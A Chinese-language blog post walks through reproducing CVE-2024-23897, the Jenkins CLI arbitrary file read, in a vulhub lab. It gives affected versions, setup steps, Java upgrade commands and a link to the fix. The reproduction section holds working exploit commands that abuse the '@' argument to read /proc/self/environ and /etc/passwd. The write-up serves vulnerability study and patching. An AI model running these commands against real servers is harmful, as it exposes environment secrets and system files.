Jenkins CLI 任意文件读取漏洞(CVE-2024-23897)复现

0x00 漏洞简介

Jenkins是一款基于JAVA开发的开源自动化服务器。

Jenkins使用args4j来解析命令行输入,并支持通过HTTP、WebSocket等协议远程传入命令行参数。在args4j中,用户可以通过@字符来加载任意文件。这一特性存在安全风险,攻击者可以利用它来读取服务器上的任意文件。

0x01 影响范围:

Jenkins weekly <= 2.441

Jenkins LTS <= 2.426.2

0x02 环境启动

cd /root/vulhub/jenkins/CVE-2024-23897
docker-compose build
docker-compose up -d

0x03 漏洞复现

访问http://靶场IP:8086 显示Jenkins页面

下载官方提供的命令行客户端

wget http://IP:8080/jnlpJars/jenkins-cli.jar


#使用该工具读取目标服务器的`/proc/self/environ`文件
java -jar jenkins-cli.jar -s http://IP:8080/ -http help 1 "@/proc/self/environ"

#使用该工具读取目标服务器的`/etc/passwd`文件
java -jar jenkins-cli.jar -s http://IP:8080/ who-am-i @/etc/passwd


如果出现以下提示,说明我们正在使用的Java版本与Jenkins CLI JAR文件所需的Java版本不兼容。


升级Java版本:

#查询Java安装信息
yum list installed |grep java
rpm -qa |grep java

#卸载旧版本
yum remove -y java-1.8.0-openjdk*
yum remove -y tzdata-java.noarch*


#重新安装Java新版本
yum update
yum install -y java-11-openjdk-devel
#验证java版本
java -version

0x04 修复建议

升级至安全版本:https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314

posted @ 2024-02-22 16:39  BMCel  阅读(2835)  评论(0编辑  收藏  举报